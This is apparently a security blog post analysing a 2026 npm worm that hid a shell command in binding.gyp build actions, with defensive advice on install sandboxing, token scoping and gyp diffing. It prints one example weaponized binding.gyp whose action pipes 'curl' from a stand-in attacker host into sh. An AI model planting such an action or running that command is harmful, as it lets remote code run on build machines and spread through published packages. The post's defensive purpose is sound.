what actually happened
On June 1st, 2026, someone pushed malicious versions of 32 packages under the @redhat-cloud-services npm scope, and the thing that made this one interesting wasn't the blast radius, it was the mechanism. The worm, which people started calling Miasma after the string it left in a comment block, didn't touch package.json at all. No postinstall, no preinstall, no prepare, none of the lifecycle hooks that every supply chain scanner on the planet has been trained to flag since the event-stream mess years ago. Instead it shipped a poisoned binding.gyp, the descriptor file that node-gyp reads when it compiles native addons, and it used the gyp action mechanism to run a shell command during the compile step that npm install kicks off automatically whenever a package has native code. The payload pulled a second stage, enumerated other packages the CI token had publish rights to, patched their binding.gyp the same way, and republished. That's the worm part. It spread because build machines with broad npm tokens tend to have publish access to more than one package, and nobody's scanner was watching the build descriptor. The Red Hat team caught it within about nine hours and yanked the versions, which is fast, but nine hours of a self-propagating publish loop is enough to do real damage across a scope that a lot of enterprise Node apps depend on transitively.
why your scanner missed it
Almost every npm supply chain tool I've looked at, and I've looked at a lot of them building install-time sandboxes for clients, models the trust boundary around package.json. Socket, npm audit signatures, the various OpenSSF Scorecard checks, most homegrown allowlist wrappers, they all key on lifecycle scripts because that's where the vast majority of historical attacks lived. You grep for scripts.postinstall, you flag anything that curls a URL or spawns a shell, you feel good. The problem is that npm install has more than one code execution entry point, and node-gyp is a completely separate execution surface that fires whenever a dependency declares a gyp file and you don't have the prebuild binary cached. When node-gyp processes binding.gyp it evaluates the targets, and gyp supports actions and rules with an action field that is literally a command line plus arguments. That runs. During install. Before you've run a single line of your own code. So the file that your scanner treats as inert build metadata is actually an executable script in a format your scanner doesn't parse, triggered by a toolchain your scanner doesn't model, at a moment your scanner thinks is safe because package.json was clean. That's the whole trick. It's not clever cryptography or a novel zero-day, it's just picking the one install-time execution path that nobody instrumented.
the gyp file is code, treat it that way
The mental fix here is small but it changes how you audit. binding.gyp is not config. It's a Python-flavored dictionary that describes a build, and the build can shell out. A minimal weaponized target looks roughly like this:
{ "targets": [{ "target_name": "addon", "actions": [{ "action_name": "fetch", "inputs": [], "outputs": ["out.txt"], "action": ["sh", "-c", "curl -s https://evil.example/s | sh"] }] }] }
There is nothing in package.json that would tip you off. The dependency looks like a normal native module, maybe an image codec or a crypto binding or a database driver, exactly the kind of thing that legitimately ships C++ and legitimately needs node-gyp. And that's what makes native deps a good hiding spot, because the presence of build machinery is expected and the noise floor for a native module doing weird things during compile is high. Anyone who's debugged a failing sharp or better-sqlite3 install on an M-series Mac knows that node-gyp output is a wall of garbage nobody reads. A curl piped to sh in the middle of that wall is invisible. So you need to start treating any binding.gyp, .gyp, or .gypi in your dependency tree as executable content that gets the same scrutiny as a postinstall hook, which means diffing it across versions, flagging any action or rule that invokes a shell, and being extremely suspicious of build steps that reach the network.
the adjacent vectors nobody closed
Once you accept that binding.gyp is an execution path, you start seeing the rest of the blind spot. Prebuilt binaries are worse, honestly, because packages like the ones that use prebuild-install or node-pre-gyp will download a compiled .node file from a remote host during install and then load it, and a .node file is a native shared object that runs whatever machine code the author put in it the moment your app requires it. No source review catches that, no gyp audit catches that, you're just trusting that the tarball on some S3 bucket matches what's on GitHub, and frequently the download URL is templated from an env var or a package field that a compromised publish can rewrite. Then there's the whole category of build tools that run during install for reasons unrelated to native code. node-gyp isn't the only thing that fires. Anything that hangs a rebuild step, anything using a lifecycle that your scanner has an allowlist entry for so it stops looking, anything that reads a config file your tooling parses as data. The pattern that ties all of these together is that install-time is a trust boundary you cross whether you want to or not, and most teams have only hardened the single most famous door in that boundary while leaving the native-build door and the prebuilt-binary door wide open.
what to actually do
Run installs with scripts disabled by default and turn them on per-dependency. npm has had --ignore-scripts forever and pnpm 10 flipped to blocking build scripts unless you explicitly allow them in the config, which is the right default and you should be on it. That alone kills the lifecycle path, but it does not kill node-gyp, because gyp actions run as part of the build, not as an npm script, so you need to go further. For native modules, prefer prebuilt binaries with checksum verification and pin the exact resolved version and integrity hash in your lockfile, and audit that your CI actually respects the lock rather than silently regenerating it. Better yet, do your dependency installation inside a network-isolated build stage. If binding.gyp tries to curl something and there's no egress, the action fails loudly instead of succeeding silently, and a failed build is a signal you'll investigate. We build install pipelines for clients where the dep-fetch stage has no outbound network at all, packages come from a vendored mirror, and the compile stage runs in a throwaway container with a locked-down seccomp profile, so even a poisoned gyp action can't reach anything or persist anything. It's more setup than pointing npm at the public registry, sure, but the alternative is a nine-hour window where a worm you never modelled republishes half your dependency tree. Scope your CI tokens so a build machine can publish exactly the packages it owns and nothing else, because the reason Miasma spread at all was over-broad publish rights on machines that only needed to build. And add binding.gyp to whatever your scanner diffs on version bumps, since a gyp file that gains an action field between two patch releases is about as clear a signal as you're going to get.
